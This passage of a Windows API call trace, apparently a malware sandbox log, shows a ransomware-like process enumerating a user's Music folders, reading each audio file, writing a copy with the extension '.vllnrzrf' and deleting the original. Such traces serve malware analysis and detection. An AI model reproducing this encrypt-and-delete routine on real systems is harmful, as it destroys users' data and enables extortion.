HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\FWq1O.mp3", nBufferLength=0x105, lpBuffer=0x1cd2e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\FWq1O.mp3", lpFilePart=0x0) returned 0x60 [0114.293] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\FWq1O.mp3", nBufferLength=0x105, lpBuffer=0x1cd2e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\FWq1O.mp3", lpFilePart=0x0) returned 0x60 [0114.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cd2e770) returned 1 [0114.293] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\FWq1O.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\9tqvsr o_-cxqw_j\\kefupt\\fwq1o.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x320 [0114.293] GetFileType (hFile=0x320) returned 0x1 [0114.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cd2e6e0) returned 1 [0114.293] GetFileType (hFile=0x320) returned 0x1 [0114.293] GetFileSize (in: hFile=0x320, lpFileSizeHigh=0x1cd2e908 | out: lpFileSizeHigh=0x1cd2e908*=0x0) returned 0x17642 [0114.294] ReadFile (in: hFile=0x320, lpBuffer=0x12250950, nNumberOfBytesToRead=0x17642, lpNumberOfBytesRead=0x1cd2e838, lpOverlapped=0x0 | out: lpBuffer=0x12250950*, lpNumberOfBytesRead=0x1cd2e838*=0x17642, lpOverlapped=0x0) returned 1 [0114.296] CloseHandle (hObject=0x320) returned 1 [0114.324] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\FWq1O.mp3.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cd2e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\FWq1O.mp3.vllnrzrf", lpFilePart=0x0) returned 0x69 [0114.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cd2e770) returned 1 [0114.324] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\FWq1O.mp3.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\9tqvsr o_-cxqw_j\\kefupt\\fwq1o.mp3.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x320 [0114.324] GetFileType (hFile=0x320) returned 0x1 [0114.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cd2e6e0) returned 1 [0114.324] GetFileType (hFile=0x320) returned 0x1 [0114.324] WriteFile (in: hFile=0x320, lpBuffer=0x122dcff8*, nNumberOfBytesToWrite=0x17842, lpNumberOfBytesWritten=0x1cd2e898, lpOverlapped=0x0 | out: lpBuffer=0x122dcff8*, lpNumberOfBytesWritten=0x1cd2e898*=0x17842, lpOverlapped=0x0) returned 1 [0114.327] CloseHandle (hObject=0x320) returned 1 [0114.329] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\FWq1O.mp3", nBufferLength=0x105, lpBuffer=0x1cd2e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\FWq1O.mp3", lpFilePart=0x0) returned 0x60 [0114.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\FWq1O.mp3", nBufferLength=0x105, lpBuffer=0x1cd2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\FWq1O.mp3", lpFilePart=0x0) returned 0x60 [0114.330] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Wn2cZNlPYn25ASry0\\9TqVSR o_-cXQW_J\\KEfupT\\FWq1O.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\wn2cznlpyn25asry0\\9tqvsr o_-cxqw_j\\kefupt\\fwq1o.mp3")) returned 1 [0114.332] CoUninitialize () Thread: id = 87 os_tid = 0x6f0 [0114.343] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0114.344] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", nBufferLength=0x105, lpBuffer=0x1c8fe5c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", lpFilePart=0x0) returned 0x32 [0114.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c8fea20) returned 1 [0114.344] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", nBufferLength=0x105, lpBuffer=0x1c8fe510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as", lpFilePart=0x0) returned 0x32 [0114.344] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\", nBufferLength=0x105, lpBuffer=0x1c8fe4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\", lpFilePart=0x0) returned 0x33 [0114.344] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\*.*", lpFindFileData=0x1c8fe6c0 | out: lpFindFileData=0x1c8fe6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fda7c70, ftCreationTime.dwHighDateTime=0x1d5dec4, ftLastAccessTime.dwLowDateTime=0xe06b050, ftLastAccessTime.dwHighDateTime=0x1d5e7f9, ftLastWriteTime.dwLowDateTime=0xe06b050, ftLastWriteTime.dwHighDateTime=0x1d5e7f9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0114.345] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c8fe710 | out: lpFindFileData=0x1c8fe710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fda7c70, ftCreationTime.dwHighDateTime=0x1d5dec4, ftLastAccessTime.dwLowDateTime=0xe06b050, ftLastAccessTime.dwHighDateTime=0x1d5e7f9, ftLastWriteTime.dwLowDateTime=0xe06b050, ftLastWriteTime.dwHighDateTime=0x1d5e7f9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.345] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c8fe710 | out: lpFindFileData=0x1c8fe710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8646e00, ftCreationTime.dwHighDateTime=0x1d5df8f, ftLastAccessTime.dwLowDateTime=0x61a75e60, ftLastAccessTime.dwHighDateTime=0x1d5dd92, ftLastWriteTime.dwLowDateTime=0x61a75e60, ftLastWriteTime.dwHighDateTime=0x1d5dd92, nFileSizeHigh=0x0, nFileSizeLow=0x173c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="-JNnHpapMmXwknDs8Il.wav", cAlternateFileName="-JNNHP~1.WAV")) returned 1 [0114.345] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c8fe710 | out: lpFindFileData=0x1c8fe710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc747fb0, ftCreationTime.dwHighDateTime=0x1d5d9bc, ftLastAccessTime.dwLowDateTime=0x48459ea0, ftLastAccessTime.dwHighDateTime=0x1d5e75b, ftLastWriteTime.dwLowDateTime=0x48459ea0, ftLastWriteTime.dwHighDateTime=0x1d5e75b, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="4AosjSdNAO.m4a", cAlternateFileName="4AOSJS~1.M4A")) returned 1 [0114.345] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c8fe710 | out: lpFindFileData=0x1c8fe710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc984290, ftCreationTime.dwHighDateTime=0x1d5da7f, ftLastAccessTime.dwLowDateTime=0x39cd930, ftLastAccessTime.dwHighDateTime=0x1d5e03f, ftLastWriteTime.dwLowDateTime=0x39cd930, ftLastWriteTime.dwHighDateTime=0x1d5e03f, nFileSizeHigh=0x0, nFileSizeLow=0x13a6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="H15V.m4a", cAlternateFileName="")) returned 1 [0114.346] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c8fe710 | out: lpFindFileData=0x1c8fe710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5108b640, ftCreationTime.dwHighDateTime=0x1d5dc1f, ftLastAccessTime.dwLowDateTime=0x7201970, ftLastAccessTime.dwHighDateTime=0x1d5e7c7, ftLastWriteTime.dwLowDateTime=0x7201970, ftLastWriteTime.dwHighDateTime=0x1d5e7c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="il0_Fcd4W", cAlternateFileName="IL0_FC~1")) returned 1 [0114.346] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c8fe710 | out: lpFindFileData=0x1c8fe710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e044b40, ftCreationTime.dwHighDateTime=0x1d5e3cc, ftLastAccessTime.dwLowDateTime=0xb0d1b380, ftLastAccessTime.dwHighDateTime=0x1d5de84, ftLastWriteTime.dwLowDateTime=0xb0d1b380, ftLastWriteTime.dwHighDateTime=0x1d5de84, nFileSizeHigh=0x0, nFileSizeLow=0xfe36, dwReserved0=0x0, dwReserved1=0x0, cFileName="OgQmN6aSh.wav", cAlternateFileName="OGQMN6~1.WAV")) returned 1 [0114.346] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c8fe710 | out: lpFindFileData=0x1c8fe710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84db60d0, ftCreationTime.dwHighDateTime=0x1d5e5a2, ftLastAccessTime.dwLowDateTime=0xb0cef980, ftLastAccessTime.dwHighDateTime=0x1d5e689, ftLastWriteTime.dwLowDateTime=0xb0cef980, ftLastWriteTime.dwHighDateTime=0x1d5e689, nFileSizeHigh=0x0, nFileSizeLow=0x2ce5, dwReserved0=0x0, dwReserved1=0x0, cFileName="pYUcgycvEeFku7dswz.m4a", cAlternateFileName="PYUCGY~1.M4A")) returned 1 [0114.346] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c8fe710 | out: lpFindFileData=0x1c8fe710*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.346] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0114.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c8fe970) returned 1 [0114.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c8fe930) returned 1 [0114.347] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\-JNnHpapMmXwknDs8Il.wav", nBufferLength=0x105, lpBuffer=0x1c8fe430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\-JNnHpapMmXwknDs8Il.wav", lpFilePart=0x0) returned 0x4a [0114.348] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\-JNnHpapMmXwknDs8Il.wav", nBufferLength=0x105, lpBuffer=0x1c8fe430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\-JNnHpapMmXwknDs8Il.wav", lpFilePart=0x0) returned 0x4a [0114.348] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\-JNnHpapMmXwknDs8Il.wav", nBufferLength=0x105, lpBuffer=0x1c8fe430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\-JNnHpapMmXwknDs8Il.wav", lpFilePart=0x0) returned 0x4a [0114.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c8fe910) returned 1 [0114.348] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\-JNnHpapMmXwknDs8Il.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\-jnnhpapmmxwknds8il.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4ac [0114.348] GetFileType (hFile=0x4ac) returned 0x1 [0114.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c8fe880) returned 1 [0114.348] GetFileType (hFile=0x4ac) returned 0x1 [0114.348] GetFileSize (in: hFile=0x4ac, lpFileSizeHigh=0x1c8feaa8 | out: lpFileSizeHigh=0x1c8feaa8*=0x0) returned 0x173c1 [0114.349] ReadFile (in: hFile=0x4ac, lpBuffer=0x122f4878, nNumberOfBytesToRead=0x173c1, lpNumberOfBytesRead=0x1c8fe9d8, lpOverlapped=0x0 | out: lpBuffer=0x122f4878*, lpNumberOfBytesRead=0x1c8fe9d8*=0x173c1, lpOverlapped=0x0) returned 1 [0114.351] CloseHandle (hObject=0x4ac) returned 1 [0114.374] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\-JNnHpapMmXwknDs8Il.wav.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c8fe430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\-JNnHpapMmXwknDs8Il.wav.vllnrzrf", lpFilePart=0x0) returned 0x53 [0114.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c8fe910) returned 1 [0114.374] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\-JNnHpapMmXwknDs8Il.wav.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\-jnnhpapmmxwknds8il.wav.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4ac [0114.374] GetFileType (hFile=0x4ac) returned 0x1 [0114.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c8fe880) returned 1 [0114.375] GetFileType (hFile=0x4ac) returned 0x1 [0114.375] WriteFile (in: hFile=0x4ac, lpBuffer=0x12380020*, nNumberOfBytesToWrite=0x175c1, lpNumberOfBytesWritten=0x1c8fea38, lpOverlapped=0x0 | out: lpBuffer=0x12380020*, lpNumberOfBytesWritten=0x1c8fea38*=0x175c1, lpOverlapped=0x0) returned 1 [0114.377] CloseHandle (hObject=0x4ac) returned 1 [0114.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\-JNnHpapMmXwknDs8Il.wav", nBufferLength=0x105, lpBuffer=0x1c8fe430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\-JNnHpapMmXwknDs8Il.wav", lpFilePart=0x0) returned 0x4a [0114.391] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\-JNnHpapMmXwknDs8Il.wav", nBufferLength=0x105, lpBuffer=0x1c8fe5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\-JNnHpapMmXwknDs8Il.wav", lpFilePart=0x0) returned 0x4a [0114.391] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\-JNnHpapMmXwknDs8Il.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\-jnnhpapmmxwknds8il.wav")) returned 1 [0114.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\4AosjSdNAO.m4a", nBufferLength=0x105, lpBuffer=0x1c8fe430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\4AosjSdNAO.m4a", lpFilePart=0x0) returned 0x41 [0114.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\4AosjSdNAO.m4a", nBufferLength=0x105, lpBuffer=0x1c8fe430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\4AosjSdNAO.m4a", lpFilePart=0x0) returned 0x41 [0114.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\4AosjSdNAO.m4a", nBufferLength=0x105, lpBuffer=0x1c8fe430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\4AosjSdNAO.m4a", lpFilePart=0x0) returned 0x41 [0114.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c8fe910) returned 1 [0114.394] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\4AosjSdNAO.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\4aosjsdnao.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4ac [0114.394] GetFileType (hFile=0x4ac) returned 0x1 [0114.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c8fe880) returned 1 [0114.394] GetFileType (hFile=0x4ac) returned 0x1 [0114.394] GetFileSize (in: hFile=0x4ac, lpFileSizeHigh=0x1c8feaa8 | out: lpFileSizeHigh=0x1c8feaa8*=0x0) returned 0x170f9 [0114.395] ReadFile (in: hFile=0x4ac, lpBuffer=0x12397620, nNumberOfBytesToRead=0x170f9, lpNumberOfBytesRead=0x1c8fe9d8, lpOverlapped=0x0 | out: lpBuffer=0x12397620*, lpNumberOfBytesRead=0x1c8fe9d8*=0x170f9, lpOverlapped=0x0) returned 1 [0114.397] CloseHandle (hObject=0x4ac) returned 1 [0114.419] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\4AosjSdNAO.m4a.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c8fe430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\4AosjSdNAO.m4a.vllnrzrf", lpFilePart=0x0) returned 0x4a [0114.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c8fe910) returned 1 [0114.419] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\4AosjSdNAO.m4a.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\4aosjsdnao.m4a.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4ac [0114.420] GetFileType (hFile=0x4ac) returned 0x1 [0114.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c8fe880) returned 1 [0114.420] GetFileType (hFile=0x4ac) returned 0x1 [0114.420] WriteFile (in: hFile=0x4ac, lpBuffer=0x12421c38*, nNumberOfBytesToWrite=0x172f9, lpNumberOfBytesWritten=0x1c8fea38, lpOverlapped=0x0 | out: lpBuffer=0x12421c38*, lpNumberOfBytesWritten=0x1c8fea38*=0x172f9, lpOverlapped=0x0) returned 1 [0114.423] CloseHandle (hObject=0x4ac) returned 1 [0114.426] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\4AosjSdNAO.m4a", nBufferLength=0x105, lpBuffer=0x1c8fe430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\4AosjSdNAO.m4a", lpFilePart=0x0) returned 0x41 [0114.426] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\4AosjSdNAO.m4a", nBufferLength=0x105, lpBuffer=0x1c8fe5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\4AosjSdNAO.m4a", lpFilePart=0x0) returned 0x41 [0114.426] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\4AosjSdNAO.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\4aosjsdnao.m4a")) returned 1 [0114.431] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\H15V.m4a", nBufferLength=0x105, lpBuffer=0x1c8fe430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\H15V.m4a", lpFilePart=0x0) returned 0x3b [0114.432] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\H15V.m4a", nBufferLength=0x105, lpBuffer=0x1c8fe430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\H15V.m4a", lpFilePart=0x0) returned 0x3b [0114.432] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\H15V.m4a", nBufferLength=0x105, lpBuffer=0x1c8fe430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\H15V.m4a", lpFilePart=0x0) returned 0x3b [0114.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c8fe910) returned 1 [0114.432] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\H15V.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\h15v.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4ac [0114.432] GetFileType (hFile=0x4ac) returned 0x1 [0114.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c8fe880) returned 1 [0114.432] GetFileType (hFile=0x4ac) returned 0x1 [0114.432] GetFileSize (in: hFile=0x4ac, lpFileSizeHigh=0x1c8feaa8 | out: lpFileSizeHigh=0x1c8feaa8*=0x0) returned 0x13a6e [0114.432] ReadFile (in: hFile=0x4ac, lpBuffer=0x2345290, nNumberOfBytesToRead=0x13a6e, lpNumberOfBytesRead=0x1c8fe9d8, lpOverlapped=0x0 | out: lpBuffer=0x2345290*, lpNumberOfBytesRead=0x1c8fe9d8*=0x13a6e, lpOverlapped=0x0) returned 1 [0114.434] CloseHandle (hObject=0x4ac) returned 1 [0114.447] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\H15V.m4a.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c8fe430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\H15V.m4a.vllnrzrf", lpFilePart=0x0) returned 0x44 [0114.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c8fe910) returned 1 [0114.448] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\H15V.m4a.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\h15v.m4a.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4ac [0114.448] GetFileType (hFile=0x4ac) returned 0x1 [0114.448] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c8fe880) returned 1 [0114.448] GetFileType (hFile=0x4ac) returned 0x1 [0114.448] WriteFile (in: hFile=0x4ac, lpBuffer=0x23b1fb8*, nNumberOfBytesToWrite=0x13c6e, lpNumberOfBytesWritten=0x1c8fea38, lpOverlapped=0x0 | out: lpBuffer=0x23b1fb8*, lpNumberOfBytesWritten=0x1c8fea38*=0x13c6e, lpOverlapped=0x0) returned 1 [0114.451] CloseHandle (hObject=0x4ac) returned 1 [0114.453] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\H15V.m4a", nBufferLength=0x105, lpBuffer=0x1c8fe430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\H15V.m4a", lpFilePart=0x0) returned 0x3b [0114.453] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\H15V.m4a", nBufferLength=0x105, lpBuffer=0x1c8fe5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\H15V.m4a", lpFilePart=0x0) returned 0x3b [0114.453] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu as\\H15V.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8cyzlofk\\xu as\\h15v.m4a")) returned 1 [0114.456] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8cyzLOfK\\Xu 